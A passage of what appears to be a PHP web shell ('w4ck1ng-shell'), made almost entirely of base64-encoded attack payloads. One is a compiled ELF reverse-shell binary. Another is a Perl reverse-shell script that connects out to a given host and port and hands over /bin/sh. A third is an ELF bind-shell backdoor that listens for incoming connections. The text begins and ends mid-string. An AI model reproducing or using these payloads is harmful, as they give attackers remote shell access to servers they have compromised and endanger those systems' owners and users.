PglgbEMHPdsZnPrpLj1DCBmIEJ/NpI9Y5AZhSB8mJEk39GBbwWLxx0CWcyoAP2sPBW0+GZ677n71q7J0MumRnsXyGAmDndrs1H/EmDvQheLMdl1PHUCL5sSNB2x2PyDOyk6usQ396OVm/huWsySqIcM58cj9+vPrT4tK8Ii9wGQ07CdPsI4I8T50Nl9oOICX85UMR9yeBFknNZN2WJgeBM/rxzKoRzKoRzKoRzKoRzKoRzKoRzKoRzKoRzKoRzKoRzKoRzKoRzKoRzKoRzKoRzKoRzKoRzKoRzKoRz+b4T/BjfpCEwAGAEA\"; $back_connect_c=\"f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAA2IUECDQAAABMDAAAAAAAADQAIAAHACgAHAAZAAYAAAA0AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEAAAABAAAAAAAAAACABAgAgAQILAkAACwJAAAFAAAAABAAAAEAAAAsCQAALJkECCyZBAg4AQAAPAEAAAYAAAAAEAAAAgAAAEAJAABAmQQIQJkECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQIIAAAACAAAAAEAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAL2xpYi9sZC1saW51eC5zby4yAAAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAACAAAABQAAABEAAAAUAAAAAAAAAAAAAAARAAAAEgAAAAcAAAAKAAAACwAAAAgAAAAPAAAAAwAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFAAAABgAAAAAAAAABAAAAAAAAAAkAAAAAAAAADAAAAAAAAAAAAAAADQAAAA4AAAACAAAABAAAAAAAAAAAAAAAAAAAAAAAAAA2AAAAAAAAABwBAAASAAAArAAAAAAAAABxAAAAEgAAADwAAAAAAAAACwIAABIAAABIAAAAAAAAAH0AAAASAAAAjAAAAAAAAACsAQAAEgAAAKUAAAAAAAAArwAAABIAAABjAAAAAAAAACcAAAASAAAAkwAAAAAAAADdAAAAEgAAAEMAAAAAAAAAOgAAABIAAABcAAAAAAAAAKoBAAASAAAAVgAAAAAAAAA2AAAAEgAAAHMAAAAAAAAA2QAAABIAAAB4AAAAAAAAACgAAAASAAAAbQAAAAAAAAAOAAAAEgAAAC4AAAAAAAAAeAAAABIAAAB9AAAA8IgECAQAAAARAA4ATwAAAAAAAAA5AAAAEgAAAAEAAAAAAAAAAAAAACAAAAAVAAAAAAAAAAAAAAAgAAAAAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19nbW9uX3N0YXJ0X18AbGliYy5zby42AGNvbm5lY3QAZXhlY2wAcGVycm9yAGR1cDIAc3lzdGVtAHNvY2tldABiemVybwBzdHJjYXQAaW5ldF9hZGRyAGh0b25zAGV4aXQAYXRvaQBfSU9fc3RkaW5fdXNlZABkYWVtb24AX19saWJjX3N0YXJ0X21haW4Ac3RybGVuAGNsb3NlAEdMSUJDXzIuMAAAAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAEAAgAAAAAAAQABACQAAAAQAAAAAAAAABBpaQ0AAAIAsgAAAAAAAAAImgQIBhMAABiaBAgHAQAAHJoECAcCAAAgmgQIBwMAACSaBAgHBAAAKJoECAcFAAAsmgQIBwYAADCaBAgHBwAANJoECAcIAAA4mgQIBwkAADyaBAgHCgAAQJoECAcLAABEmgQIBwwAAEiaBAgHDQAATJoECAcOAABQmgQIBw8AAFSaBAgHEQAAVYnlg+wI6EEBAADolAEAAOjnAwAAycMA/zUQmgQI/yUUmgQIAAAAAP8lGJoECGgAAAAA6eD/////JRyaBAhoCAAAAOnQ/////yUgmgQIaBAAAADpwP////8lJJoECGgYAAAA6bD/////JSiaBAhoIAAAAOmg/////yUsmgQIaCgAAADpkP////8lMJoECGgwAAAA6YD/////JTSaBAhoOAAAAOlw/////yU4mgQIaEAAAADpYP////8lPJoECGhIAAAA6VD/////JUCaBAhoUAAAAOlA/////yVEmgQIaFgAAADpMP////8lSJoECGhgAAAA6SD/////JUyaBAhoaAAAAOkQ/////yVQmgQIaHAAAADpAP////8lVJoECGh4AAAA6fD+//8x7V6J4YPk8FBUUmhoiAQIaBSIBAhRVmiAhgQI6E/////0kJBVieVT6AAAAABbgcMHFAAAUouD/P///4XAdAL/0FhbycOQkJBVieWD7AiAPWSaBAgAdA/rH412AIPABKNgmgQI/9KhYJoECIsQhdJ168YFZJoECAHJw4n2VYnlg+wIoTyZBAiFwHQZuAAAAACFwHQQg+wMaDyZBAj/0IPEEI12AMnDkJBVieVXVlOD7EyD5PC4AAAAAIPAD4PAD8HoBMHgBCnEjX2ovvSIBAj8uQcAAADzpI19r/y5DgAAALAA86qD7AhqAGoB6FD+//+DxBBmx0XIAgCD7AyLRQyDwAj/MOi3/v//g8QQD7fAg+wMUOi4/v//g8QQZolFyoPsDItFDIPABP8w6DH+//+D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EgAAAFwCAAAAAAAAKAAAABIAAABsAgAAZJoECAAAAAAQAPH/cwIAAAyaBAgAAAAAEQAVAIkCAABomgQIAAAAABAA8f+OAgAAAAAAAA4AAAASAAAAnwIAAAAAAAB4AAAAEgAAALICAAAsmQQIAAAAABAC8f/FAgAA8IgECAQAAAARAA4A1AIAAFiaBAgAAAAAEAAWAOECAAAAAAAAOQAAABIAAADzAgAAAAAAAAAAAAAgAAAABwMAACyZBAgAAAAAEALx/x0DAAAAAAAAAAAAACAAAAAAY2FsbF9nbW9uX3N0YXJ0AGNydHN0dWZmLmMAX19DVE9SX0xJU1RfXwBfX0RUT1JfTElTVF9fAF9fSkNSX0xJU1RfXwBwLjAAY29tcGxldGVkLjEAX19kb19nbG9iYWxfZHRvcnNfYXV4AGZyYW1lX2R1bW15AF9fQ1RPUl9FTkRfXwBfX0RUT1JfRU5EX18AX19GUkFNRV9FTkRfXwBfX0pDUl9FTkRfXwBfX2RvX2dsb2JhbF9jdG9yc19hdXgAYmFjay5jAGV4ZWNsQEBHTElCQ18yLjAAX0RZTkFNSUMAY2xvc2VAQEdMSUJDXzIuMABfZnBfaHcAcGVycm9yQEBHTElCQ18yLjAAX19maW5pX2FycmF5X2VuZABfX2Rzb19oYW5kbGUAX19saWJjX2NzdV9maW5pAHN5c3RlbUBAR0xJQkNfMi4wAF9pbml0AGRhZW1vbkBAR0xJQkNfMi4wAF9zdGFydABzdHJsZW5AQEdMSUJDXzIuMABfX2ZpbmlfYXJyYXlfc3RhcnQAX19saWJjX2NzdV9pbml0AGluZXRfYWRkckBAR0xJQkNfMi4wAF9fYnNzX3N0YXJ0AG1haW4AX19saWJjX3N0YXJ0X21haW5AQEdMSUJDXzIuMABfX2luaXRfYXJyYXlfZW5kAGR1cDJAQEdMSUJDXzIuMABzdHJjYXRAQEdMSUJDXzIuMABkYXRhX3N0YXJ0AF9maW5pAF9fcHJlaW5pdF9hcnJheV9lbmQAYnplcm9AQEdMSUJDXzIuMABleGl0QEBHTElCQ18yLjAAYXRvaUBAR0xJQkNfMi4wAF9lZGF0YQBfR0xPQkFMX09GRlNFVF9UQUJMRV8AX2VuZABodG9uc0BAR0xJQkNfMi4wAGNvbm5lY3RAQEdMSUJDXzIuMABfX2luaXRfYXJyYXlfc3RhcnQAX0lPX3N0ZGluX3VzZWQAX19kYXRhX3N0YXJ0AHNvY2tldEBAR0xJQkNfMi4wAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19wcmVpbml0X2FycmF5X3N0YXJ0AF9fZ21vbl9zdGFydF9fAA==\"; $back_connect=\"IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiOyc7DQokc3lzdGVtMT0gJ2VjaG8gImBpZGAiOyc7DQokc3lzdGVtMj0gJ2VjaG8gImBwd2RgIjsnOw0KJHN5c3RlbTM9ICdlY2hvICJgd2hvYW1pYEBgaG9zdG5hbWVgOn4gPiI7JzsNCiRzeXN0ZW00PSAnL2Jpbi9zaCc7DQokMD0kY21kOw0KJHRhcmdldD0kQVJHVlswXTsNCiRwb3J0PSRBUkdWWzFdOw0KJGlhZGRyPWluZXRfYXRvbigkdGFyZ2V0KSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQokcGFkZHI9c29ja2FkZHJfaW4oJHBvcnQsICRpYWRkcikgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHByb3RvPWdldHByb3RvYnluYW1lKCd0Y3AnKTsNCnNvY2tldChTT0NLRVQsIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCAkcHJvdG8pIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCmNvbm5lY3QoU09DS0VULCAkcGFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCm9wZW4oU1RESU4sICI+JlNPQ0tFVCIpOw0Kb3BlbihTVERPVVQsICI+JlNPQ0tFVCIpOw0Kb3BlbihTVERFUlIsICI+JlNPQ0tFVCIpOw0KcHJpbnQgIlxuXG46OiB3NGNrMW5nLXNoZWxsIChQcml2YXRlIEJ1aWxkIHYwLjMpIHJldmVyc2Ugc2hlbGwgOjpcblxuIjsNCnByaW50ICJcblN5c3RlbSBJbmZvOiAiOyANCnN5c3RlbSgkc3lzdGVtKTsNCnByaW50ICJcbllvdXIgSUQ6ICI7IA0Kc3lzdGVtKCRzeXN0ZW0xKTsNCnByaW50ICJcbkN1cnJlbnQgRGlyZWN0b3J5OiAiOyANCnN5c3RlbSgkc3lzdGVtMik7DQpwcmludCAiXG4iOw0Kc3lzdGVtKCRzeXN0ZW0zKTsgc3lzdGVtKCRzeXN0ZW00KTsNCmNsb3NlKFNURElOKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==\"; $backdoor=\"f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAoIUECDQAAAD4EgAAAAAAADQAIAAHACgAIgAfAAYAAAA0AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEAAAABAAAAAAAAAACABAgAgAQIrAkAAKwJAAAFAAAAABAAAAEAAACsCQAArJkECKyZBAg0AQAAOAEAAAYAAAAAEAAAAgAAAMAJAADAmQQIwJkECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQIIAAAACAAAAAEAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAL2xpYi9sZC1saW51eC5zby4yAAAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAACAAAAAAAAABEAAAATAAAAAAAAAAAAAAAQAAAAEQAAAAAAAAAAAAAACQAAAAgAAAAFAAAAAwAAAA0AAAAAAAAAAAAAAA8AAAAKAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAABAAAAAAAAAAcAAAALAAAAAAAAAAQAAAAMAAAADgAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC4AAAAAAAAAdQEAABIAAACgAAAAAAAAAHEAAAASAAAANAAAAAAAAADMAAAAEgAAAGoAAAAAAAAAWgAAABIAAABMAAAAAAAAAHgAAAASAAAAYwAAAAAAAAA5AAAAEgAAAFgAAAAAAAAAOQAAABIAAACOAAAAAAAAAOYAAAASAAAAOwAAAAAAAAA6AAAAEgAAAFMAAAAAAAAAOQAAABIAAAB1AAAAAAAAALkAAAASAAAAegAAAAAAAAArAAAAEgAAAEcAAAAAAAAAeAAAABIAAABvAAAAAAAAAA4AAAASAAAAfwAAAEiJBAgEAAAAEQAOAEAAAAAAAAAAOQAAABIAAAABAAAAAAAAAAAAAAAgAAAAFQAAAAAAAAAAAAAAIAAAAABfSnZfUmVnaXN0ZXJDbGFzc2VzAF9fZ21vbl9zdGFydF9fAGxpYmMuc28uNgBleGVjbABwZXJyb3IAZHVwMgBzb2NrZXQAc2VuZABhY2NlcHQAYmluZABzZXRzb2Nrb3B0AGxpc3RlbgBmb3JrAGh0b25zAGV4aXQAYXRvaQBfSU9fc3RkaW5fdXNlZABfX2xpYmNfc3RhcnRfbWFpbgBjbG9zZQBHTElCQ18yLjAAAAACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAQACAAAAAAAAAAEAAQAkAAAAEAAAAAAAAAAQaWkNAAACAKYAAAAAAAAAiJoECAYSAACYmgQIBwEAAJyaBAgHAgAAoJoECAcDAACkmgQIBwQAAKiaBAgHBQAArJoECAcGAACwmgQIBwcAALSaBAgHCAAAuJoECAcJAAC8mgQIBwoAAMCaBAgHCwAAxJoECAcMAADImgQIBw0AAMyaBAgHDgAA0JoECAcQAABVieWD7AjoMQEAAOiDAQAA6FsEAADJwwD/NZCaBAj/JZSaBAgAAAAA/yWYmgQIaAAAAADp4P////8lnJoECGgIAAAA6dD/////JaCaBAhoEAAAAOnA/////yWkmgQIaBgAAADpsP////8lqJoECGggAAAA6aD/////JayaBAhoKAAAAOmQ/////yWwmgQIaDAAAADpgP////8ltJoECGg4AAAA6XD/////JbiaBAhoQAAAAOlg/////yW8mgQIaEgAAADpUP////8lwJoECGhQAAAA6UD/////JcSaBAhoWAAAAOkw/////yXImgQIaGAAAADpIP////8lzJoECGhoAAAA6RD/////JdCaBAhocAAAAOkA////Me1eieGD5PBQVFJorYgECGhciAQIUVZoQIYECOhf////9JCQVYnlU+gbAAAAgcO/FAAAg+wEi4P8////hcB0Av/Qg8QEW13Dixwkw1WJ5YPsCIA94JoECAB0DOscg8AEo9yaBAj/0qHcmgQIixCF0nXrxgXgmgQIAcnDVYnlg+wIobyZBAiFwHQSuAAAAACFwHQJxwQkvJkECP/QycOQkFWJ5VeD7GSD5PC4AAAAAIPAD4PAD8HoBMHgBCnEx0XkAQAAAMdF+EyJBAjHRCQIAAAAAMdEJAQBAAAAxwQkAgAAAOgJ////iUXwg33wAHkYxwQkjIkECOg0/v//xwQkAQAAAOio/v//ZsdF1AIAx0XYAAAAAItFDIPABIsAiQQk6Jv+//8Pt8CJBCTosP7//2aJRdbHRCQQBAAAAI1F5IlEJAzHRCQIAgAAAMdEJAQBAAAAi0XwiQQk6BL+//+NRdTHRCQIEAAA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